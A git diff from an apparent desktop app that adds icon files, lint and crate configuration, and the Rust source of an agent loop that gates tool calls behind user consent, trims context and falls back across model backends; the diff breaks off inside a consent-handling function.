@@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/lock.svg b/desktop/assets/icons/lock.svg new file mode 100644 index 0000000..93cb090 --- /dev/null +++ b/desktop/assets/icons/lock.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/message-square.svg b/desktop/assets/icons/message-square.svg new file mode 100644 index 0000000..9ca1b67 --- /dev/null +++ b/desktop/assets/icons/message-square.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/microscope.svg b/desktop/assets/icons/microscope.svg new file mode 100644 index 0000000..ca36eb4 --- /dev/null +++ b/desktop/assets/icons/microscope.svg @@ -0,0 +1,20 @@ + + + + + + + + + diff --git a/desktop/assets/icons/minus.svg b/desktop/assets/icons/minus.svg new file mode 100644 index 0000000..d9866f4 --- /dev/null +++ b/desktop/assets/icons/minus.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/monitor.svg b/desktop/assets/icons/monitor.svg new file mode 100644 index 0000000..b05caa8 --- /dev/null +++ b/desktop/assets/icons/monitor.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/moon.svg b/desktop/assets/icons/moon.svg new file mode 100644 index 0000000..014a893 --- /dev/null +++ b/desktop/assets/icons/moon.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/network.svg b/desktop/assets/icons/network.svg new file mode 100644 index 0000000..2292bef --- /dev/null +++ b/desktop/assets/icons/network.svg @@ -0,0 +1,19 @@ + + + + + + + + diff --git a/desktop/assets/icons/package.svg b/desktop/assets/icons/package.svg new file mode 100644 index 0000000..f302729 --- /dev/null +++ b/desktop/assets/icons/package.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/desktop/assets/icons/paperclip.svg b/desktop/assets/icons/paperclip.svg new file mode 100644 index 0000000..b51e05c --- /dev/null +++ b/desktop/assets/icons/paperclip.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/pin.svg b/desktop/assets/icons/pin.svg new file mode 100644 index 0000000..0f7984f --- /dev/null +++ b/desktop/assets/icons/pin.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/play.svg b/desktop/assets/icons/play.svg new file mode 100644 index 0000000..0e272f3 --- /dev/null +++ b/desktop/assets/icons/play.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/plus.svg b/desktop/assets/icons/plus.svg new file mode 100644 index 0000000..9def62b --- /dev/null +++ b/desktop/assets/icons/plus.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/puzzle.svg b/desktop/assets/icons/puzzle.svg new file mode 100644 index 0000000..a130963 --- /dev/null +++ b/desktop/assets/icons/puzzle.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/radar.svg b/desktop/assets/icons/radar.svg new file mode 100644 index 0000000..d574642 --- /dev/null +++ b/desktop/assets/icons/radar.svg @@ -0,0 +1,22 @@ + + + + + + + + + + + diff --git a/desktop/assets/icons/refresh-cw.svg b/desktop/assets/icons/refresh-cw.svg new file mode 100644 index 0000000..510829a --- /dev/null +++ b/desktop/assets/icons/refresh-cw.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/desktop/assets/icons/rocket.svg b/desktop/assets/icons/rocket.svg new file mode 100644 index 0000000..9d65baa --- /dev/null +++ b/desktop/assets/icons/rocket.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/desktop/assets/icons/scan-search.svg b/desktop/assets/icons/scan-search.svg new file mode 100644 index 0000000..8e41533 --- /dev/null +++ b/desktop/assets/icons/scan-search.svg @@ -0,0 +1,20 @@ + + + + + + + + + diff --git a/desktop/assets/icons/search.svg b/desktop/assets/icons/search.svg new file mode 100644 index 0000000..1523bcc --- /dev/null +++ b/desktop/assets/icons/search.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/send.svg b/desktop/assets/icons/send.svg new file mode 100644 index 0000000..2c2aa68 --- /dev/null +++ b/desktop/assets/icons/send.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/server.svg b/desktop/assets/icons/server.svg new file mode 100644 index 0000000..4b4e050 --- /dev/null +++ b/desktop/assets/icons/server.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/desktop/assets/icons/settings.svg b/desktop/assets/icons/settings.svg new file mode 100644 index 0000000..4043d11 --- /dev/null +++ b/desktop/assets/icons/settings.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/shield-check.svg b/desktop/assets/icons/shield-check.svg new file mode 100644 index 0000000..def2775 --- /dev/null +++ b/desktop/assets/icons/shield-check.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/shield.svg b/desktop/assets/icons/shield.svg new file mode 100644 index 0000000..4551537 --- /dev/null +++ b/desktop/assets/icons/shield.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/smartphone.svg b/desktop/assets/icons/smartphone.svg new file mode 100644 index 0000000..918d285 --- /dev/null +++ b/desktop/assets/icons/smartphone.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/sparkles.svg b/desktop/assets/icons/sparkles.svg new file mode 100644 index 0000000..2d0898c --- /dev/null +++ b/desktop/assets/icons/sparkles.svg @@ -0,0 +1,19 @@ + + + + + + + + diff --git a/desktop/assets/icons/square.svg b/desktop/assets/icons/square.svg new file mode 100644 index 0000000..3eb1089 --- /dev/null +++ b/desktop/assets/icons/square.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/sun.svg b/desktop/assets/icons/sun.svg new file mode 100644 index 0000000..758c982 --- /dev/null +++ b/desktop/assets/icons/sun.svg @@ -0,0 +1,23 @@ + + + + + + + + + + + + diff --git a/desktop/assets/icons/terminal.svg b/desktop/assets/icons/terminal.svg new file mode 100644 index 0000000..a084744 --- /dev/null +++ b/desktop/assets/icons/terminal.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/trash-2.svg b/desktop/assets/icons/trash-2.svg new file mode 100644 index 0000000..dff3fc7 --- /dev/null +++ b/desktop/assets/icons/trash-2.svg @@ -0,0 +1,19 @@ + + + + + + + + diff --git a/desktop/assets/icons/triangle-alert.svg b/desktop/assets/icons/triangle-alert.svg new file mode 100644 index 0000000..df330c2 --- /dev/null +++ b/desktop/assets/icons/triangle-alert.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/upload.svg b/desktop/assets/icons/upload.svg new file mode 100644 index 0000000..783a01b --- /dev/null +++ b/desktop/assets/icons/upload.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/user.svg b/desktop/assets/icons/user.svg new file mode 100644 index 0000000..6965bbb --- /dev/null +++ b/desktop/assets/icons/user.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/wand-sparkles.svg b/desktop/assets/icons/wand-sparkles.svg new file mode 100644 index 0000000..623126f --- /dev/null +++ b/desktop/assets/icons/wand-sparkles.svg @@ -0,0 +1,22 @@ + + + + + + + + + + + diff --git a/desktop/assets/icons/workflow.svg b/desktop/assets/icons/workflow.svg new file mode 100644 index 0000000..ced0167 --- /dev/null +++ b/desktop/assets/icons/workflow.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/wrench.svg b/desktop/assets/icons/wrench.svg new file mode 100644 index 0000000..a162618 --- /dev/null +++ b/desktop/assets/icons/wrench.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/x.svg b/desktop/assets/icons/x.svg new file mode 100644 index 0000000..801c131 --- /dev/null +++ b/desktop/assets/icons/x.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/zap.svg b/desktop/assets/icons/zap.svg new file mode 100644 index 0000000..9ed5cd0 --- /dev/null +++ b/desktop/assets/icons/zap.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/clippy.toml b/desktop/clippy.toml new file mode 100644 index 0000000..66227fb --- /dev/null +++ b/desktop/clippy.toml @@ -0,0 +1,10 @@ +allow-unwrap-in-tests = true +allow-expect-in-tests = true +allow-panic-in-tests = true +allow-indexing-slicing-in-tests = true + +# Locks must be able to notice a deadlock and get out of it; see crates/platform/src/sync.rs. +disallowed-types = [ + { path = "std::sync::Mutex", reason = "use craft_anything_platform::sync::Mutex, which can't hang" }, + { path = "std::sync::MutexGuard", reason = "use craft_anything_platform::sync::MutexGuard" }, +] diff --git a/desktop/crates/ai/Cargo.toml b/desktop/crates/ai/Cargo.toml new file mode 100644 index 0000000..b34a2f5 --- /dev/null +++ b/desktop/crates/ai/Cargo.toml @@ -0,0 +1,37 @@ +[package] +name = "craft-anything-ai" +description = "AI backends, the agent loop and crews for Craft Anything" +version.workspace = true +edition.workspace = true +license.workspace = true +publish = false + +[lints] +workspace = true + +[dependencies] +schemars = { workspace = true } +craft-anything-evidence = { workspace = true } +craft-anything-engine = { workspace = true } +craft-anything-engines = { workspace = true } +craft-anything-formats = { workspace = true } +craft-anything-platform = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +log = { workspace = true } +toml = { workspace = true } +ureq = "3" +dirs = "6" + +[target.'cfg(target_os = "linux")'.dependencies] +keyring = { version = "3", default-features = false, features = ["async-secret-service", "async-io", "crypto-rust"] } + +[target.'cfg(target_os = "macos")'.dependencies] +keyring = { version = "3", default-features = false, features = ["apple-native"] } + +[target.'cfg(windows)'.dependencies] +keyring = { version = "3", default-features = false, features = ["windows-native"] } + +[dev-dependencies] +tempfile = "3" +craft-anything-testkit = { workspace = true } diff --git a/desktop/crates/ai/src/agent.rs b/desktop/crates/ai/src/agent.rs new file mode 100644 index 0000000..cfbf958 --- /dev/null +++ b/desktop/crates/ai/src/agent.rs @@ -0,0 +1,1110 @@ +//! The built-in agent loop: a model, the engine's tools, consent, memory and the journal. +//! +//! Everything here runs on a background worker thread owned by [`ApiConversation`]; the UI only +//! ever calls the non-blocking [`Conversation`] methods. + +use crate::anthropic::INVALID_INPUT_KEY; +use crate::context; +use crate::model::{Block, ChatModel, Delta, Effort, Msg, Speaker, Stop, StopReason, ToolDef, TurnRequest, Usage}; +use crate::price::{self, Meter}; +use crate::prompt; +use crate::{AgentEvent, Conversation}; +use craft_anything_engine::{CallOptions, Caller, CancelToken, Consent, Engine, Registry, ToolOutput, Toolset}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use craft_anything_platform::sync::Mutex; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, BTreeSet, HashMap}; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::mpsc::{Receiver, RecvTimeoutError, Sender}; +use std::sync::{Arc, PoisonError}; +use std::time::Duration; + +/// Byte budget for one tool result sent to the model. +pub const RESULT_BUDGET: usize = 16 * 1024; +/// Default most model turns per user message. +pub const DEFAULT_MAX_TURNS: u32 = 40; +/// Steps one builder message may take (writing, building and fixing a project takes many). +pub const BUILDER_MAX_TURNS: u32 = 400; + +/// What the loop needs from the engine (a trait so tests can inject behaviour). +pub trait ToolHost: Send + Sync { + /// Tool definitions for the enabled toolsets (without the meta-tools). + fn tools(&self, enabled: &BTreeSet) -> Vec; + /// The toolset a tool belongs to, if it exists. + fn toolset_of(&self, id: &str) -> Option; + fn call(&self, id: &str, input: Value, consent: bool, cancel: CancelToken) -> Result; + fn journal(&self, kind: &str, entry: Value); + /// `core_investigation_show` as compact JSON text. + fn investigation(&self) -> String; + fn clean_room(&self) -> bool; + /// A tool's title (for consent prompts). + fn title(&self, id: &str) -> String; + /// Every toolset in use (built-in and added at run time). + fn toolsets(&self) -> Vec { + Toolset::ALL.to_vec() + } +} + +/// The real host: the engine. +pub struct EngineHost(pub Arc); + +/// Remove keys model APIs dislike at the schema root, and write boolean sub-schemas as objects. +fn clean_schema(mut s: Value) -> Value { + if let Some(o) = s.as_object_mut() { + o.remove("$schema"); + o.remove("title"); + if !o.contains_key("type") { + o.insert("type".into(), json!("object")); + } + if !o.contains_key("properties") && o.get("type") == Some(&json!("object")) { + o.insert("properties".into(), json!({})); + } + } + object_subschemas(&mut s, 0); + s +} + +/// Deepest schema nesting rewritten (run-time tools bring their own schemas). +const MAX_SCHEMA_DEPTH: usize = 64; + +/// `true` and `false` as sub-schemas (schemars writes `"items": true` for a list of any JSON) become +/// `{}` and `{"not": {}}`: local servers such as LM Studio refuse anything but an object there. +/// `additionalProperties` stays as it is: a boolean is what every API expects in it. +fn object_subschemas(schema: &mut Value, depth: usize) { + let Some(o) = schema.as_object_mut().filter(|_| depth < MAX_SCHEMA_DEPTH) else { return }; + for (key, sub) in o.iter_mut() { + let subs: Vec<&mut Value> = match (key.as_str(), sub) { + ("items" | "additionalItems" | "contains" | "not" | "if" | "then" | "else", s) => vec![s], + ("properties" | "patternProperties" | "$defs" | "definitions", Value::Object(m)) => m.values_mut().collect(), + ("anyOf" | "oneOf" | "allOf" | "prefixItems", Value::Array(a)) => a.iter_mut().collect(), + _ => Vec::new(), + }; + for s in subs { + match s { + Value::Bool(true) => *s = json!({}), + Value::Bool(false) => *s = json!({"not": {}}), + _ => object_subschemas(s, depth + 1), + } + } + } +} + +pub fn registry_tools(reg: &Registry, enabled: &BTreeSet) -> Vec { + reg.all() + .iter() + .filter(|s| enabled.contains(&s.toolset)) + .map(|s| ToolDef { name: s.id.to_string(), description: s.summary.to_string(), schema: clean_schema(reg.input_schema(s)) }) + .collect() +} + +impl ToolHost for EngineHost { + fn tools(&self, enabled: &BTreeSet) -> Vec { + // Clean room offers only the tools it runs. + let clean = self.clean_room(); + registry_tools(self.0.registry(), enabled).into_iter().filter(|t| !clean || craft_anything_engine::clean_room::allows(&t.name)).collect() + } + + fn toolset_of(&self, id: &str) -> Option { + self.0.registry().get(id).map(|s| s.toolset) + } + + fn toolsets(&self) -> Vec { + self.0.registry().toolsets() + } + + fn call(&self, id: &str, input: Value, consent: bool, cancel: CancelToken) -> Result { + let opts = CallOptions::new(Caller::Agent).with_cancel(cancel).with_consent(if consent { Consent::Granted } else { Consent::NotAsked }); + self.0.call(id, input, opts) + } + + fn journal(&self, kind: &str, entry: Value) { + self.0.journal(kind, entry); + } + + fn investigation(&self) -> String { + match self.0.call("core_investigation_show", json!({}), CallOptions::new(Caller::Agent)) { + Ok(o) => { + let v = o.to_json(); + let inner = v.get("result").cloned().unwrap_or(v); + truncate_json(&inner, 24 * 1024) + } + Err(e) => format!("(couldn't load: {})", e.message), + } + } + + fn clean_room(&self) -> bool { + self.0.try_session().map(|s| s.clean_room()).unwrap_or(true) + } + + fn title(&self, id: &str) -> String { + self.0.registry().get(id).map(|s| s.title.to_string()).unwrap_or_else(|| id.to_string()) + } +} + +/// The engine with only the tools that change nothing: no files written, nothing started, no +/// network, nobody asked (recording evidence in the session is fine). For questions about a build. +pub struct ReadOnlyHost(pub EngineHost); + +impl ReadOnlyHost { + fn changes_nothing(&self, id: &str) -> bool { + use craft_anything_engine::Effects; + let harmless = Effects::IDEMPOTENT.union(Effects::MUTATES_SESSION).union(Effects::CARRIES_TARGET_CONTENT); + self.0.0.registry().get(id).is_some_and(|s| harmless.contains(s.effects)) + } +} + +impl ToolHost for ReadOnlyHost { + fn tools(&self, enabled: &BTreeSet) -> Vec { + self.0.tools(enabled).into_iter().filter(|t| self.changes_nothing(&t.name)).collect() + } + fn toolset_of(&self, id: &str) -> Option { + self.0.toolset_of(id) + } + fn toolsets(&self) -> Vec { + self.0.toolsets() + } + fn call(&self, id: &str, input: Value, _consent: bool, cancel: CancelToken) -> Result { + if !self.changes_nothing(id) { + return Err(ToolError::new(ErrorCode::NoPermission, format!("{id} changes something, and this is only a question.")) + .with_remediation("Answer from what you can read.")); + } + // Nothing that needs consent is offered, so none is given. + self.0.call(id, input, false, cancel) + } + fn journal(&self, kind: &str, entry: Value) { + self.0.journal(kind, entry); + } + fn investigation(&self) -> String { + self.0.investigation() + } + fn clean_room(&self) -> bool { + self.0.clean_room() + } + fn title(&self, id: &str) -> String { + self.0.title(id) + } +} + +/// JSON text no longer than `budget` bytes (cut on a char boundary with a note). +pub fn truncate_json(v: &Value, budget: usize) -> String { + let s = v.to_string(); + if s.len() <= budget { + return s; + } + let mut cut = budget.saturating_sub(120); + while cut > 0 && !s.is_char_boundary(cut) { + cut -= 1; + } + format!("{}… [truncated: {} of {} bytes shown; page with offset/limit or fetch the evidence by id]", s.get(..cut).unwrap_or_default(), cut, s.len()) +} + +/// What the model sees for a tool's output: evidence summary + id + (bounded) result. +pub fn compact(out: &ToolOutput) -> (String, String, Option) { + match out { + ToolOutput::Evidence(ev) => { + let mut v = ev.summary_view(); + let result_text = ev.result.to_string(); + let summary_len = v.to_string().len(); + if let Some(o) = v.as_object_mut() { + if result_text.len() + summary_len <= RESULT_BUDGET { + o.insert("result".into(), ev.result.clone()); + } else { + o.insert("result_preview".into(), json!(truncate_json(&ev.result, RESULT_BUDGET.saturating_sub(summary_len).max(512)))); + o.insert( + "note".into(), + json!("Result is large: this is a preview. Page with offset/limit, or get the full record with core_evidence_show {evidence_id}."), + ); + } + } + let summary = if ev.summary.is_empty() { ev.operation.clone() } else { ev.summary.clone() }; + (truncate_json(&v, RESULT_BUDGET + 1024), summary, Some(ev.id.clone())) + } + ToolOutput::Value(v) => { + let text = truncate_json(&out.to_json(), RESULT_BUDGET); + let summary: String = v.to_string().chars().take(160).collect(); + (text, summary, None) + } + } +} + +fn error_text(e: &ToolError) -> String { + serde_json::to_string(&json!({"error": e})).unwrap_or_else(|_| e.message.clone()) +} + +/// Consent waiters shared between the worker and the UI-facing handle. +type Waiters = Arc>>>; + +/// One model with its display name (a link in a fallback chain). +pub struct ModelSlot { + pub name: String, + pub model: Box, + /// Local models cost nothing. + pub local: bool, + pub effort: Option, + pub max_turns: u32, +} + +/// Settings for one conversation. +#[derive(Default)] +pub struct LoopConfig { + pub beginner: bool, + pub prices: BTreeMap, + /// Keep the conversation in this file after every step, and continue it when it's there. + pub transcript: Option, + /// Input tokens the conversation may grow to before it's trimmed; 0 = by model (local or + /// cloud, see [`crate::context`]). + pub context_tokens: u64, +} + +/// The state the worker keeps between user messages. +pub struct AgentLoop { + host: Arc, + chain: Vec, + current: usize, + history: Vec, + system: Option, + enabled: BTreeSet, + cfg: LoopConfig, + events: Sender, + waiters: Waiters, + stop: Stop, + cancel: Arc>, + pub meter: Meter, + /// The last turn's real input size (tokens), 0 before the first or after making room. + last_input: u64, +} + +impl AgentLoop { + fn emit(&self, e: AgentEvent) { + let _ = self.events.send(e); + } + + fn tool_defs(&self) -> Vec { + let mut tools = self.host.tools(&self.enabled); + tools.push(ToolDef { + name: "list_toolsets".into(), + description: "List the groups of tools (toolsets), which are enabled, and what each covers.".into(), + schema: json!({"type": "object", "properties": {}}), + }); + tools.push(ToolDef { + name: "enable_toolset".into(), + description: "Enable a toolset so its tools become available from the next step on. Use list_toolsets to see the ids.".into(), + schema: json!({"type": "object", "properties": {"toolset": {"type": "string", "enum": self.host.toolsets().iter().map(|t| t.id()).collect::>()}}, "required": ["toolset"]}), + }); + crate::anthropic::sorted(tools) + } + + /// Handle one user message to completion. + pub fn handle(&mut self, text: &str) { + self.stop.reset(); + let cancel = CancelToken::default(); + *self.cancel.lock().unwrap_or_else(PoisonError::into_inner) = cancel.clone(); + self.host.journal("user_message", json!({"text": crate::journal_text(text)})); + if self.system.is_none() { + self.emit(AgentEvent::Status { text: "Reading the investigation so far…".into() }); + let inv = self.host.investigation(); + self.system = Some(prompt::system_prompt(self.cfg.beginner, self.host.clean_room(), &inv)); + } + context::push_user_text(&mut self.history, text); + let configured = self.chain.get(self.current).and_then(|s| s.effort); + let effort = prompt::choose_effort(configured); + let max_turns = self.chain.get(self.current).map(|s| s.max_turns).unwrap_or(DEFAULT_MAX_TURNS).max(1); + let mut msg_usage = Usage::default(); + let mut msg_cost: Option = Some(0.0); + let mut turns = 0u32; + loop { + if self.stop.is_stopped() { + self.emit(AgentEvent::Status { text: "Stopped.".into() }); + break; + } + if turns >= max_turns { + self.emit(AgentEvent::Error { + message: format!("Stopped after {max_turns} steps without a final answer."), + remediation: Some("Ask it to continue, or narrow the question.".into()), + log: None, + }); + break; + } + turns += 1; + let tools = self.tool_defs(); + let system = self.system.clone().unwrap_or_default(); + if let Some((usage, cost)) = self.fit_context(&system) { + msg_usage.add(usage); + msg_cost = match (msg_cost, cost) { + (Some(a), Some(b)) => Some(a + b), + _ => None, + }; + } + let Some(result) = self.one_turn(&system, &tools, effort) else { break }; + self.last_input = result.usage.input_tokens + result.usage.cache_read_tokens + result.usage.cache_write_tokens; + let (slot_name, local, model_id) = match self.chain.get(self.current) { + Some(s) => (s.name.clone(), s.local, result.model.clone()), + None => break, + }; + let cost = price::cost(&model_id, &result.usage, &self.cfg.prices, local); + self.meter.add(result.usage, cost); + msg_usage.add(result.usage); + msg_cost = match (msg_cost, cost) { + (Some(a), Some(b)) => Some(a + b), + _ => None, + }; + self.host.journal( + "model_turn", + json!({ + "backend": slot_name, "model": model_id, "input_tokens": result.usage.input_tokens, + "output_tokens": result.usage.output_tokens, "cache_read_tokens": result.usage.cache_read_tokens, + "cache_write_tokens": result.usage.cache_write_tokens, "cost_usd": cost, "stop_reason": result.stop.as_str(), + "effort": effort.as_str(), + }), + ); + let uses = result.message.tool_uses(); + match result.stop { + StopReason::Refusal => { + self.emit(AgentEvent::Error { + message: "The model declined to answer this request.".into(), + remediation: Some("Rephrase the question, say why you're examining the software, or try another backend.".into()), + log: None, + }); + self.host.journal("error", json!({"kind": "refusal", "backend": slot_name})); + // Drop the refused turn so the conversation stays usable. + break; + } + StopReason::PauseTurn => { + self.history.push(result.message); + continue; + } + StopReason::ToolUse if !uses.is_empty() => { + self.history.push(result.message); + let results = self.run_tools(&uses); + self.history.push(Msg { role: Speaker::User, blocks: results }); + self.save_transcript(); + } + StopReason::MaxTokens if !uses.is_empty() => { + // Tool input may be cut off: don't run anything, tell the model. + self.history.push(result.message); + let blocks = uses + .iter() + .map(|(id, _, _)| Block::ToolResult { + tool_use_id: id.clone(), + content: "Not run: the reply hit the output limit, so this call may be incomplete. Retry it with smaller input.".into(), + is_error: true, + }) + .collect(); + self.history.push(Msg { role: Speaker::User, blocks }); + } + StopReason::MaxTokens => { + self.history.push(result.message); + self.emit(AgentEvent::Status { text: "The answer hit the length limit and was cut off.".into() }); + break; + } + _ => { + self.history.push(result.message); + break; + } + } + } + self.save_transcript(); + let backend = self.chain.get(self.current).map(|s| s.name.clone()).unwrap_or_default(); + self.emit(AgentEvent::TurnDone { + backend, + input_tokens: msg_usage.input_tokens, + output_tokens: msg_usage.output_tokens, + cost_usd: msg_cost, + cost_is_estimate: false, + }); + } + + /// Keep the conversation in its transcript file, when it has one. + fn save_transcript(&self) { + if let Some(p) = &self.cfg.transcript + && let Err(e) = context::save(p, &self.history) + { + log::warn!("couldn't keep the conversation in {}: {}", p.display(), e.message); + } + } + + /// Input tokens the conversation may take before room is made. + fn context_budget(&self) -> u64 { + match self.cfg.context_tokens { + 0 if self.chain.get(self.current).is_some_and(|s| s.local) => context::LOCAL_CONTEXT_TOKENS, + 0 => context::CLOUD_CONTEXT_TOKENS, + n => n, + } + } + + /// Make room when the conversation has outgrown its budget: trim old tool results first; when + /// that isn't enough, replace the oldest part with a summary the model writes. Return the + /// successful summary call's usage so the message and build account for it too. + fn fit_context(&mut self, system: &str) -> Option<(Usage, Option)> { + let budget = self.context_budget(); + let estimate = context::estimate_tokens(&self.history).max(1); + let size = if self.last_input > 0 { self.last_input } else { estimate }; + if size <= budget { + return None; + } + // Real tokens per estimated token, to judge the trimmed size before the next turn. + let scale = size as f64 / estimate as f64; + let trimmed = context::trim_old(&mut self.history); + let after = (context::estimate_tokens(&self.history) as f64 * scale) as u64; + self.last_input = 0; + self.host.journal("context", json!({"action": "trim", "blocks": trimmed, "tokens_before": size, "tokens_after": after, "budget": budget})); + if trimmed > 0 && after <= budget * 3 / 4 { + return None; + } + let cut = context::cut_point(&self.history)?; + self.emit(AgentEvent::Status { text: "Making room: summarising the earlier work…".into() }); + let messages = context::with_summary_request(&self.history[..cut]); + let req = TurnRequest { system, messages: &messages, tools: &[], effort: Effort::Low, max_tokens: crate::anthropic::MAX_TOKENS }; + let stop = self.stop.clone(); + let summary = self.chain.get_mut(self.current).map(|slot| slot.model.turn(&req, &mut |_| {}, &stop)); + let mut accounted = None; + let text = match summary { + Some(Ok(r)) => { + let local = self.chain.get(self.current).is_some_and(|s| s.local); + let backend = self.chain.get(self.current).map(|s| s.name.as_str()).unwrap_or_default(); + let cost = price::cost(&r.model, &r.usage, &self.cfg.prices, local); + self.meter.add(r.usage, cost); + accounted = Some((r.usage, cost)); + self.host.journal( + "model_turn", + json!({ + "backend": backend, "model": r.model, "input_tokens": r.usage.input_tokens, + "output_tokens": r.usage.output_tokens, "cache_read_tokens": r.usage.cache_read_tokens, + "cache_write_tokens": r.usage.cache_write_tokens, "cost_usd": cost, "stop_reason": r.stop.as_str(), + "effort": Effort::Low.as_str(), "purpose": "context_summary", + }), + ); + r.message.text() + } + Some(Err(e)) => { + self.host.journal("error", json!({"kind": "summary", "message": e.message})); + String::new() + } + None => String::new(), + }; + let text = if text.trim().is_empty() { + "A summary of the earlier work couldn't be made. Look at the project's files (build_files_list) to see what's done.".to_string() + } else { + text + }; + let before = self.history.len(); + self.history = context::summarised(&self.history, cut, &text); + self.host.journal("context", json!({"action": "summary", "messages_before": before, "messages_after": self.history.len()})); + self.save_transcript(); + accounted + } + + /// One model call, falling back along the chain when a backend fails before producing output. + fn one_turn(&mut self, system: &str, tools: &[ToolDef], effort: Effort) -> Option { + loop { + let events = self.events.clone(); + let mut produced = false; + let stop = self.stop.clone(); + let req = TurnRequest { system, messages: &self.history, tools, effort, max_tokens: crate::anthropic::MAX_TOKENS }; + let slot = self.chain.get_mut(self.current)?; + let r = slot.model.turn( + &req, + &mut |d| { + if let Delta::Text(t) = d { + produced = true; + let _ = events.send(AgentEvent::TextDelta { text: t }); + } + }, + &stop, + ); + match r { + Ok(r) => return Some(r), + Err(e) if e.code == ErrorCode::Cancelled => { + self.emit(AgentEvent::Status { text: "Stopped.".into() }); + return None; + } + Err(e) => { + let name = slot.name.clone(); + self.host.journal("error", json!({"backend": name, "code": e.code, "message": e.message})); + if !produced && self.current + 1 < self.chain.len() { + self.current += 1; + let next = self.chain.get(self.current).map(|s| s.name.clone()).unwrap_or_default(); + self.emit(AgentEvent::Status { text: format!("{name} failed ({}). Trying {next}…", e.message) }); + continue; + } + self.emit(AgentEvent::Error { message: format!("{name}: {}", e.message), remediation: e.remediation, log: None }); + return None; + } + } + } + } + + /// Run every tool call of one assistant message; all results go back in one user message. + fn run_tools(&mut self, uses: &[(String, String, Value)]) -> Vec { + let mut out = Vec::with_capacity(uses.len()); + for (id, name, input) in uses { + if self.stop.is_stopped() { + out.push(Block::ToolResult { tool_use_id: id.clone(), content: "Not run: the user pressed stop.".into(), is_error: true }); + continue; + } + self.emit(AgentEvent::ToolStarted { call_id: id.clone(), tool: name.clone(), input: input.clone() }); + let (content, ok, summary, evidence_id) = self.run_one(id, name, input.clone()); + self.emit(AgentEvent::ToolFinished { call_id: id.clone(), tool: name.clone(), ok, summary, evidence_id }); + out.push(Block::ToolResult { tool_use_id: id.clone(), content, is_error: !ok }); + } + out + } + + fn run_one(&mut self, call_id: &str, name: &str, input: Value) -> (String, bool, String, Option) { + if input.get(INVALID_INPUT_KEY).is_some() { + let e = ToolError::invalid("INVALID_JSON: the tool input wasn't valid JSON (it may have been cut off). Send the call again with complete input."); + return (error_text(&e), false, e.message, None); + } + match name { + "list_toolsets" => { + let list: Vec = self + .host + .toolsets() + .iter() + .map(|t| json!({"id": t.id(), "title": t.title(), "enabled": self.enabled.contains(t), "tools": self.host.tools(&BTreeSet::from([*t])).len()})) + .collect(); + let text = json!({"toolsets": list}).to_string(); + return (text, true, "Listed toolsets".into(), None); + } + "enable_toolset" => { + let id = input.get("toolset").and_then(Value::as_str).unwrap_or_default(); + return match self.host.toolsets().into_iter().find(|t| t.id() == id) { + Some(t) => { + self.enabled.insert(t); + let n = self.host.tools(&BTreeSet::from([t])).len(); + (json!({"enabled": id, "tools_added": n}).to_string(), true, format!("Enabled {}", t.title()), None) + } + None => { + let e = ToolError::invalid(format!("No toolset {id:?}")).with_remediation("Call list_toolsets for the ids."); + (error_text(&e), false, e.message, None) + } + }; + } + _ => {} + } + match self.host.toolset_of(name) { + None => { + let e = ToolError::invalid(format!("No tool named {name}")); + return (error_text(&e), false, e.message, None); + } + Some(t) if !self.enabled.contains(&t) => { + let e = ToolError::invalid(format!("{name} is in the {} toolset, which isn't enabled.", t.id())) + .with_remediation(format!("Call enable_toolset with toolset={} first.", t.id())); + return (error_text(&e), false, e.message, None); + } + Some(_) => {} + } + let cancel = self.cancel.lock().unwrap_or_else(PoisonError::into_inner).clone(); + let mut r = self.host.call(name, input.clone(), false, cancel.clone()); + if let Err(e) = &r + && e.code == ErrorCode::ConsentRequired + { + r = match self.ask_consent(call_id, name, &e.message) { + Some(true) => self.host.call(name, input, true, cancel), + Some(false) => Err(ToolError::new(ErrorCode::ConsentRequired, "The user said no to running this tool.") + .with_remediation("Find another way that doesn't run code or change a device, or explain why it's needed.")), + None => Err(ToolError::cancelled()), + }; + } + match r { + Ok(out) => { + let (text, summary, ev) = compact(&out); + (text, true, summary, ev) + } + Err(e) => (error_text(&e), false, e.message.clone(), None), + } + } + + /// Ask the UI and wait (this worker thread only) for the answer; `None` when stopped. + fn ask_consent(&mut self, call_id: &str, tool: &str, explanation: &str) -> Option { + let (tx, rx) = std::sync::mpsc::channel(); + 